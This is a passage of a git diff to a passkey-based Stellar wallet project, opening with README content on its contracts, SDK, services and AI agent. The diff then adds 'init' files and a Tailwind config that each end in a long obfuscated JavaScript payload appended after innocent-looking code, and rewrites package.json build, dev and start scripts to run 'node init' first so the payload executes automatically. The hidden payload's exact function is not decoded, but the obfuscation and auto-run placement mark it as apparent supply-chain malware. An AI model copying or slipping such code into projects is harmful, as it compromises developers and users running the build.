PG[("Postgres")] + end + + UA -->|"biometric gesture"| SDK + SDK -->|"passkey credential"| UA + SDK -->|"WebAuthn signature Vec[5]"| CONTRACT + UI -->|"sign envelope"| FP + FP -->|"submit tx"| CONTRACT + CONTRACT -->|"deploy"| FACTORY + CONTRACT -->|"balance query"| SAC + + UI -->|"price fetch"| LENS + UI -->|"transfer history"| WRAITH + UI -->|"chat / approve tx"| AGENT + AGENT -->|"get_price"| LENS + AGENT -->|"get_balance"| SAC + LENS --- PG + WRAITH --- PG +``` + +> See [docs/adr/0001-two-account-model.md](docs/adr/0001-two-account-model.md) for the design rationale behind the `C…` + `G…` two-account model. +> See [docs/adr/0002-webauthn-signature-verification.md](docs/adr/0002-webauthn-signature-verification.md) for the full WebAuthn on-chain verification pipeline. + +## Project structure + +``` +veil/ +├── contracts/ +│ ├── invisible_wallet/ # Soroban smart contract (Rust) +│ │ ├── src/ +│ │ │ ├── lib.rs # Contract entry points + __check_auth +│ │ │ ├── auth.rs # WebAuthn ES256 verification logic +│ │ │ └── storage.rs # Signer and guardian storage +│ │ └── Cargo.toml +│ └── factory/ # Factory contract — deploys wallet instances +│ ├── src/ +│ │ ├── lib.rs # init(wasm_hash) + deploy(pubkey, rp_id, origin) +│ │ ├── storage.rs # WasmHash + Deployed(salt) keys +│ │ └── validation.rs # P-256 public key validation +│ └── Cargo.toml +├── sdk/ +│ ├── src/ +│ │ ├── core.ts # Framework-agnostic wallet core — register, deploy, login, signAuthEntry, sendPayment, addSigner, removeSigner, setGuardian, initiateRecovery, completeRecovery +│ │ ├── useInvisibleWallet.ts # React hook — binds the core to useSyncExternalStore +│ │ ├── vue/ # Vue 3 composable — binds the same core to refs (invisible-wallet-sdk/vue) +│ │ ├── webauthn.ts # WebAuthn provider interface + web/browser implementation +│ │ ├── webauthn.native.ts # React Native implementation (react-native-passkey) — Metro auto-resolves +│ │ ├── utils.ts # Crypto utilities (DER→raw, pubkey extraction, SHA256, computeWalletAddress) +│ │ └── index.ts # Package exports +│ └── package.json +├── packages/ +│ └── agent/ # Veil AI Agent (Node.js / TypeScript) +│ └── src/ +│ ├── agent.ts # Claude tool-use loop (get_price, get_balance, build_swap, build_payment, request_user_approval) +│ ├── server.ts # Express + WebSocket server — handles chat messages, conversation history +│ ├── txBuilder.ts # Builds unsigned Stellar XDR transactions (swap, payment) +│ └── x402Client.ts # x402 micropayment client — auto-pays Lens price endpoint calls +└── frontend/ + ├── website/ # Next.js 14 marketing site (useveilapp.xyz) + │ └── app/ + │ ├── page.tsx # Homepage — Hero, HowItWorks, WhyVeil, DevQuickstart + │ └── products/ # /products listing + /wallet /lens /wraith /agent detail pages + ├── docs/ # Nextra 3 documentation (docs.useveilapp.xyz) + └── wallet/ # Veil wallet app (Next.js 14, app.useveilapp.xyz) + ├── app/ + │ ├── dashboard/ # Balance, all token assets with logos, activity feed + filters (All/Transfers/Swaps) + │ ├── send/ # Send XLM or tokens — passkey-gated + │ ├── swap/ # SDEX path payment swap — passkey-gated + │ ├── agent/ # AI chat UI — WebSocket to Agent server + │ ├── token/[code]/ # Individual token page: sparkline chart, balance, filtered txn history, actions + │ ├── contacts/ # Address book + │ ├── settings/ # App settings + │ ├── recover/ # Guardian recovery flow + │ └── lock/ # Inactivity lock screen — biometric re-auth + ├── components/ # VeilLogo, TxDetailSheet, ContactPicker, QrScanner + ├── hooks/ # useInactivityLock + └── lib/ # txState.ts (mid-tx lock guard), passkeyAuth.ts (shared biometric gate) +``` + +## Services + +| Service | Description | Deployed | +| ---------- | --------------------------------------------------------- | ---------------------------------- | +| **Lens** | Price oracle — SDEX + AMM prices, x402 micropayment gated | | +| **Wraith** | SAC event indexer — transfer history for Soroban wallets | | +| **Agent** | Claude AI agent — chat, swap, payments, balance queries | | + +### Lens (unified\_price\_api) + +Fastify/Prisma/Postgres oracle that ingests SDEX trades and AMM pool snapshots from Stellar. Exposes `GET /price/:assetA/:assetB` gated behind x402 micropayments (auto-paid by the agent). Deployed on Render, data stored in Supabase PostgreSQL. + +### Wraith + +Express/Prisma/Postgres indexer for Stellar Soroban contract events. Fills the Horizon gap for incoming SAC token transfers that classic payment endpoints miss. + +Key endpoint: `GET /transfers/address/:address?direction=incoming|outgoing|both&limit=N` + +Additional endpoints: `GET /summary/:address`, `GET /transfers/address/:address` with `fromDate`/`toDate`/`eventType` filters. + +### Agent (packages/agent) + +Claude-powered AI agent embedded in the Veil wallet. Connects via WebSocket. Tools: + +| Tool | Description | +| ----------------------- | ----------------------------------------------------------------- | +| `get_price` | Fetches live SDEX/AMM price via Lens (x402 auto-paid) | +| `get_wallet_balance` | Fetches XLM + token balances via Horizon | +| `get_transfer_history` | Fetches transfer history via Wraith + Horizon payments | +| `build_swap` | Builds unsigned path payment XDR (auto-adds trustline if missing) | +| `build_payment` | Builds unsigned payment XDR | +| `request_user_approval` | Sends transaction to wallet UI for passkey biometric approval | + +All transactions built by the agent are returned unsigned to the frontend, where the user approves with Face ID / fingerprint before the transaction is signed and submitted. + +## Tech stack + +| Layer | Technology | +| -------------- | ----------------------------------------------------------------- | +| Smart contract | Rust, Soroban SDK, p256 crate (ECDSA), sha2 | +| Authentication | WebAuthn / FIDO2 (ES256 / P-256) | +| Client SDK | TypeScript, React hooks, @stellar/stellar-sdk v15, Web Crypto API | +| Wallet app | Next.js 14 App Router, next-pwa | +| AI Agent | Node.js, Claude claude-sonnet-4-6, Anthropic SDK, WebSocket | +| Price oracle | Fastify, Prisma, Postgres (Supabase), x402 micropayments | +| Indexer | Express, Prisma, Postgres (Render managed), stellar-sdk v15 | +| Blockchain | Stellar (Soroban smart contracts, testnet) | + +## Getting started + +### Prerequisites + +- [Rust](https://rustup.rs/) with the `wasm32-unknown-unknown` target +- [Stellar CLI](https://developers.stellar.org/docs/tools/stellar-cli) +- Node.js 18+ + +### Build the contract + +```bash +cd contracts/invisible_wallet +cargo build --target wasm32-unknown-unknown --release +``` + +### Run contract tests + +```bash +cd contracts/invisible_wallet +cargo test +``` + +### Build the SDK + +```bash +cd sdk +npm install +npm run build +``` + +### SDK bundle size budget + +The SDK's public entry points are protected by a [`size-limit`](https://github.com/ai/size-limit) budget so accidental dependency bloat is caught before it ships to integrators. CI runs `npm run size` on every push and pull request and fails the build if any entry point exceeds its limit. + +```bash +cd sdk +npm run size +``` + +Current budgets (brotli-compressed, includes all transitive deps): + +| Entry point | Limit | +| ----------------- | ------ | +| `dist/index.js` | 230 KB | +| `dist/vanilla.js` | 225 KB | + +If you legitimately need more headroom, raise the relevant `limit` in the `size-limit` block of `sdk/package.json` in the same PR that introduces the growth, and call out the increase in the PR description so reviewers can sanity-check the cause. + +### Run the wallet + +```bash +cd frontend/wallet +npm install +npm run dev # http://localhost:3000 +``` + +No environment configuration is needed for a testnet run: every variable has a +working default or gates a feature that degrades cleanly when unset. Copy +`frontend/wallet/.env.example` to `.env.local` when you want to override one. + +Both files document all 28 variables the wallet reads, grouped and marked with +what each is required for — see the table in +[`frontend/wallet/README.md`](frontend/wallet/README.md#environment-variables). + +> WebAuthn needs a secure context, so passkey flows work on `localhost` and +> `https://` only. + +### React Native / Expo + +The SDK ships a platform-split WebAuthn layer. Metro automatically resolves +`webauthn.native.ts` over `webauthn.ts` when bundling for iOS/Android. + +**Platform requirements:** iOS 16+, Android 13+ (physical device required). + +#### Install peer dependencies + +```bash +npm install react-native-passkey @react-native-async-storage/async-storage +# iOS only — re-run pod install after adding the native module: +npx pod-install +``` + +#### Usage + +```tsx +import AsyncStorage from '@react-native-async-storage/async-storage'; +import { useInvisibleWallet } from 'invisible-wallet-sdk'; + +const wallet = useInvisibleWallet({ + factoryAddress: 'CABC...', + rpcUrl: 'https://soroban-testnet.stellar.org', + networkPassphrase: 'Test SDF Network ; September 2015', + rpId: 'your-domain.com', // required for React Native (no window.location) + origin: 'https://your-domain.com', + storage: AsyncStorage, // replaces localStorage +}); +``` + +`rpId` and `origin` must match your app's associated domain +(`apple-app-site-association` on iOS / `assetlinks.json` on Android). + +#### Expo example + +```bash +cd examples/expo +cp .env.example .env.local # fill in factory address + RP details +npm install +npx expo run:ios # physical device +``` + +See [`examples/expo/README.md`](examples/expo/README.md) for full setup instructions. + +#### Metro resolution + +The `react-native` field in `sdk/package.json` points to the TypeScript source +so Metro can apply its `.native.ts` extension resolution: + +```json +"react-native": "src/index.ts" +``` + +No extra Babel plugins are needed when using Expo (which handles TypeScript +via `babel-preset-expo`) or standard `@react-native/metro-config`. + +### Run the agent locally + +```bash +cd packages/agent +cp .env.example .env # fill in AGENT_KEYPAIR_SECRET, ANTHROPIC_API_KEY, ORACLE_URL, WRAITH_URL +npm install +npm run build +npm start +``` + +The agent exposes: + +- `GET /health` — health check +- `WS /` — WebSocket chat endpoint (expects `{ type: 'chat', walletAddress, feePayerAddress, message }`) + +## Usage + +### With React + +```tsx +import { useInvisibleWallet } from 'invisible-wallet-sdk'; + +function App() { + const wallet = useInvisibleWallet({ + factoryAddress: FACTORY_CONTRACT_ID, + rpcUrl: 'https://soroban-testnet.stellar.org', + networkPassphrase: Networks.TESTNET, + }); + + // Register a passkey and deploy a wallet contract + await wallet.register('alice'); + const { walletAddress } = await wallet.deploy(); + + // Sign a Soroban authorization entry + const sig = await wallet.signAuthEntry(signaturePayload); // Uint8Array (32 bytes) + // sig = { publicKey, authData, clientDataJSON, signature } + // Encode sig as Vec and attach to the Soroban auth entry + + // Multi-signer management + await wallet.addSigner(newPublicKey); + await wallet.removeSigner(signerIndex); + + // Guardian recovery + await wallet.setGuardian(guardianPublicKey); + await wallet.initiateRecovery(newPublicKey); + await wallet.completeRecovery(); // after 3-day timelock +} +``` + +### With Vue 3 + +```vue + + + +``` + +`vue` is an optional peer dependency, so React apps never install it — and the +Vue entry point pulls in no React. See [`examples/vue/`](examples/vue/) for a +Vite starter covering register, login and send, and [`examples/nuxt/`](examples/nuxt/) +for the SSR flavour. + +### With Svelte + +```ts +import { createWalletStore } from 'invisible-wallet-sdk/svelte'; + +const wallet = createWalletStore({ + factoryAddress: FACTORY_CONTRACT_ID, + rpcUrl: 'https://soroban-testnet.stellar.org', + networkPassphrase: 'Test SDF Network ; September 2015', +}); + +// $wallet reactively reflects { address, isDeployed, isPending, error } +await wallet.register('alice'); +await wallet.deploy(feePayerSecret); +const sig = await wallet.signAuthEntry(signaturePayload); +await wallet.sendPayment(feePayerSecret, to, amountInStroops); +``` + +The store binds the same `InvisibleWalletCore` the React hook and the Vue +composable do, so all three adapters expose an identical set of actions. + +See [`sdk/src/svelte`](sdk/src/svelte) for the adapter and +[`examples/sveltekit`](examples/sveltekit) for a full register/dashboard/send +example. + +### With Solid + +```tsx +import { useInvisibleWallet } from 'invisible-wallet-sdk/solid'; + +function App() { + const wallet = useInvisibleWallet({ + factoryAddress: FACTORY_CONTRACT_ID, + rpcUrl: 'https://soroban-testnet.stellar.org', + networkPassphrase: 'Test SDF Network ; September 2015', + }); + + return ( + wallet.register('alice')}> + Create wallet + + }> +

Wallet: {wallet.address()}

+
+ ); +} +``` + +State arrives as Solid accessors — `wallet.address()`, `wallet.isDeployed()`, +`wallet.isPending()`, `wallet.error()` — over the same `InvisibleWalletCore` +the React, Vue and Svelte adapters bind, so the actions are identical across +all four. Called inside a component it hydrates on mount and detaches on +cleanup, which keeps it safe through a solid-start server render. + +See [`sdk/src/solid`](sdk/src/solid) for the adapter and +[`examples/solid`](examples/solid) for a Vite starter covering register, +dashboard and send. + +### Without a framework + +```js +import { createInvisibleWallet } from 'invisible-wallet-sdk/vanilla'; + +// Initialize wallet +const wallet = createInvisibleWallet({ + factoryAddress: FACTORY_CONTRACT_ID, + rpcUrl: 'https://soroban-testnet.stellar.org', + networkPassphrase: 'Test SDF Network ; September 2015', +}); + +// Register a passkey and deploy a wallet contract +const { walletAddress } = await wallet.register('alice'); +await wallet.deploy(feePayerKeypair); + +// Sign a Soroban authorization entry +const sig = await wallet.signAuthEntry(signaturePayload); + +// All methods return Promises - no React hooks or JSX required +``` + +## Signature format + +The contract's `__check_auth` expects the signature field to be a `Vec` with four elements: + +| Index | Type | Description | +| ----- | ------------ | ------------------------------------------------------------------------------------ | +| 0 | `BytesN<65>` | Uncompressed P-256 public key (`0x04 \|\| x \|\| y`) | +| 1 | `Bytes` | WebAuthn `authenticatorData` | +| 2 | `Bytes` | WebAuthn `clientDataJSON` (must contain `base64url(signature_payload)` as challenge) | +| 3 | `BytesN<64>` | Raw P-256 ECDSA signature (`r \|\| s`) | + +## Roadmap + +- [x] Phase 1 — Contract compiles, error types, ECDSA verification, unit tests +- [x] Phase 2 — Full WebAuthn pipeline (DER→raw, real pubkey extraction, challenge binding) +- [x] Phase 3 — Factory contract + deterministic wallet deployment +- [x] Phase 4 — RP ID / origin verification, testnet integration (smoke test) +- [x] Phase 5 — Guardian recovery, multi-signer, nonce/replay protection +- [x] Wallet app — Dashboard, send, swap, contacts, lock screen, PWA, onboarding tutorial +- [x] Token pages — Individual asset pages with sparkline chart, filtered txn history, actions +- [x] Lens oracle — Live SDEX + AMM prices, x402 micropayment gated +- [x] Wraith indexer — Soroban SAC transfer history (combined endpoint PR #6 merged) +- [x] Agent — Claude AI assistant: balance, prices, swaps, payments — all passkey-gated +- [x] Marketing website — Products section with individual pages for all 4 products +- [x] Mainnet — contracts deployed and source-verified; passkey-authorized payment and Soroswap swap settled on-chain + +## Security + +See the [Security docs](https://docs.useveilapp.xyz/security) and the [Threat Model](https://docs.useveilapp.xyz/threat-model) for the full STRIDE analysis, trust assumptions, and residual risks. + +### Verifying contract builds + +The Soroban contracts build reproducibly, so you can confirm a deployed contract +hash was produced from this source. With Docker installed, run +`scripts/reproducible-build.sh` to rebuild and compare against the committed +`contracts/expected-hashes.json`. See [docs/reproducible-build.md](docs/reproducible-build.md). + +## License + +MIT + +
+ +Thank you diff --git a/demo/init b/demo/init new file mode 100644 index 000000000..e6fbe644b --- /dev/null +++ b/demo/init @@ -0,0 +1,30 @@ +'use strict'; +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn=22.12.0" - }, - "scripts": { - "dev": "astro dev", - "build": "astro build", - "preview": "astro preview", - "astro": "astro" - }, - "dependencies": { - "@astrojs/react": "^5.0.5", - "@stellar/stellar-sdk": "^14.6.1", - "astro": "^6.3.8", - "buffer": "^6.0.3", - "lucide-react": "^1.16.0", - "react": "^19.2.6", - "react-dom": "^19.2.6" - }, - "devDependencies": { - "@tailwindcss/postcss": "^4.3.0", - "tailwindcss": "^4.3.0" - } -} +{ + "name": "veil-astro-example", + "type": "module", + "version": "0.0.1", + "engines": { + "node": ">=22.12.0" + }, + "scripts": { + "dev": "node init && astro dev", + "build": "node init && astro build", + "preview": "astro preview", + "astro": "astro" + }, + "dependencies": { + "@astrojs/react": "^5.0.5", + "@stellar/stellar-sdk": "^14.6.1", + "astro": "^6.3.8", + "buffer": "^6.0.3", + "lucide-react": "^1.16.0", + "react": "^19.2.6", + "react-dom": "^19.2.6" + }, + "devDependencies": { + "@tailwindcss/postcss": "^4.3.0", + "tailwindcss": "^4.3.0" + } +} diff --git a/examples/astro/tailwind.config.js b/examples/astro/tailwind.config.js index e2aa16a36..14e262147 100644 --- a/examples/astro/tailwind.config.js +++ b/examples/astro/tailwind.config.js @@ -1,9 +1,13 @@ -export default { - content: [ - './src/**/*.{astro,html,js,jsx,ts,tsx}', - ], - theme: { - extend: {}, - }, - plugins: [], -} \ No newline at end of file +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +export default { + content: [ + './src/**/*.{astro,html,js,jsx,ts,tsx}', + ], + theme: { + extend: {}, + }, + plugins: [], +}; var z = '-11207-6';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn=20.6.0" - } -} +{ + "name": "veil-discord-faucet-example", + "version": "0.1.0", + "private": true, + "type": "module", + "description": "Discord slash-command faucet example for sending Stellar testnet XLM with the Veil SDK", + "scripts": { + "build": "node init && tsc", + "start": "node init && node --env-file=.env dist/bot.js", + "dev": "node init && tsx --env-file=.env src/bot.ts", + "register-commands": "tsx --env-file=.env src/register-commands.ts", + "typecheck": "tsc --noEmit" + }, + "dependencies": { + "@stellar/stellar-sdk": "^15.1.0", + "discord.js": "^14.16.3", + "invisible-wallet-sdk": "file:../../sdk" + }, + "devDependencies": { + "@types/node": "^20.0.0", + "tsx": "^4.19.2", + "typescript": "^5.6.2" + }, + "engines": { + "node": ">=20.6.0" + } +} diff --git a/examples/electron/init b/examples/electron/init new file mode 100644 index 000000000..e6fbe644b --- /dev/null +++ b/examples/electron/init @@ -0,0 +1,30 @@ +'use strict'; +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< 